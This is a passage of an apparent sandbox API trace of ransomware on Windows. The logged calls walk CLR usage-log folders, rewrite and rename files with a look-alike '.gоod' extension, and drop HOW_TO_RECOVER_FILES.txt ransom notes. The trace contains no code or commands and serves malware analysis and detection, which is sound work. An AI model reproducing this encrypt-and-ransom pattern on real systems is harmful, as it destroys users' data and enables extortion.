WriteFile (in: hFile=0x47c, lpBuffer=0x33a3070*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x33a3070*, lpNumberOfBytesWritten=0x207ec4d8*=0x20, lpOverlapped=0x0) returned 1 [0202.371] CloseHandle (hObject=0x47c) returned 1 [0202.371] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log", lpFilePart=0x0) returned 0x4a [0202.371] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log.gоod", lpFilePart=0x0) returned 0x4f [0202.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0202.371] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0x74d4ed65, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0202.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0202.371] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log.gоod")) returned 1 [0202.372] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ec2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x53 [0202.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec800) returned 1 [0202.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x47c [0202.373] GetFileType (hFile=0x47c) returned 0x1 [0202.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec770) returned 1 [0202.373] GetFileType (hFile=0x47c) returned 0x1 [0202.374] WriteFile (in: hFile=0x47c, lpBuffer=0x33a6718*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ec8c8, lpOverlapped=0x0 | out: lpBuffer=0x33a6718*, lpNumberOfBytesWritten=0x207ec8c8*=0x5d0, lpOverlapped=0x0) returned 1 [0202.375] CloseHandle (hObject=0x47c) returned 1 [0202.375] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ecd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0202.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed230) returned 1 [0202.375] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v2.0\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0202.639] GetFileType (hFile=0x828) returned 0x1 [0202.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1a0) returned 1 [0202.639] GetFileType (hFile=0x828) returned 0x1 [0202.640] WriteFile (in: hFile=0x828, lpBuffer=0x341b2c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x341b2c0*, lpNumberOfBytesWritten=0x207ed2f8*=0x5d0, lpOverlapped=0x0) returned 1 [0202.641] CloseHandle (hObject=0x828) returned 1 [0202.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0202.641] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0", lpFilePart=0x0) returned 0x30 [0202.641] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.642] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.642] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97043032, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x14f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1 [0202.642] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0202.642] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0202.642] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0202.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0202.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0202.642] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0", lpFilePart=0x0) returned 0x30 [0202.643] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.643] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.643] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97043032, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x14f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1 [0202.643] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0202.643] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0202.643] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0202.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0202.643] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log", lpFilePart=0x0) returned 0x39 [0202.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed070) returned 1 [0202.644] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\ngen.log"), fInfoLevelId=0x0, lpFileInformation=0x3430538 | out: lpFileInformation=0x3430538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97043032, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x14f)) returned 1 [0202.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed030) returned 1 [0202.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log", nBufferLength=0x105, lpBuffer=0x207eca00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log", lpFilePart=0x0) returned 0x39 [0202.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf20) returned 1 [0202.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\ngen.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0202.645] GetFileType (hFile=0x828) returned 0x1 [0202.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ece90) returned 1 [0202.645] GetFileType (hFile=0x828) returned 0x1 [0202.645] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x207ed0c8 | out: lpFileSizeHigh=0x207ed0c8*=0x0) returned 0x14f [0202.645] ReadFile (in: hFile=0x828, lpBuffer=0x34308f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ecff8, lpOverlapped=0x0 | out: lpBuffer=0x34308f0*, lpNumberOfBytesRead=0x207ecff8*=0x14f, lpOverlapped=0x0) returned 1 [0202.646] CloseHandle (hObject=0x828) returned 1 [0202.674] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log", nBufferLength=0x105, lpBuffer=0x207eca00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log", lpFilePart=0x0) returned 0x39 [0202.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf20) returned 1 [0202.674] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\ngen.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0202.675] GetFileType (hFile=0x828) returned 0x1 [0202.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ece90) returned 1 [0202.675] GetFileType (hFile=0x828) returned 0x1 [0202.675] WriteFile (in: hFile=0x828, lpBuffer=0x34aa328*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x207ecf08, lpOverlapped=0x0 | out: lpBuffer=0x34aa328*, lpNumberOfBytesWritten=0x207ecf08*=0x150, lpOverlapped=0x0) returned 1 [0202.676] CloseHandle (hObject=0x828) returned 1 [0202.676] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log", lpFilePart=0x0) returned 0x39 [0202.676] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log.gоod", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log.gоod", lpFilePart=0x0) returned 0x3e [0202.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed030) returned 1 [0202.676] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\ngen.log"), fInfoLevelId=0x0, lpFileInformation=0x207ed110 | out: lpFileInformation=0x207ed110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97043032, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x75049b8d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x150)) returned 1 [0202.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ecff0) returned 1 [0202.677] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\ngen.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\ngen.log.gоod")) returned 1 [0202.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0202.678] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", lpFilePart=0x0) returned 0x3a [0202.678] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc2dd6b, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0x8cc2dd6b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x8cc2dd6b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mighost.exe.log", cAlternateFileName="MIGHOS~1.LOG")) returned 1 [0202.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabc08fe, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xfabc08fe, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0x1fb5c0d3, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="mmc.exe.log", cAlternateFileName="MMCEXE~1.LOG")) returned 1 [0202.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9719a3bf, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGenTask.exe.log", cAlternateFileName="NGENTA~1.LOG")) returned 1 [0202.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea85c64, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdea85c64, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x568ceb02, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xe41, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0202.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x4005dd03, ftLastAccessTime.dwHighDateTime=0x1d3272c, ftLastWriteTime.dwLowDateTime=0xe0737866, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x16bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 1 [0202.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0202.679] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0202.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0202.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0202.680] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", lpFilePart=0x0) returned 0x3a [0202.680] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0202.681] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.681] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc2dd6b, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0x8cc2dd6b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x8cc2dd6b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mighost.exe.log", cAlternateFileName="MIGHOS~1.LOG")) returned 1 [0202.681] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabc08fe, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xfabc08fe, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0x1fb5c0d3, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="mmc.exe.log", cAlternateFileName="MMCEXE~1.LOG")) returned 1 [0202.682] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9719a3bf, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, 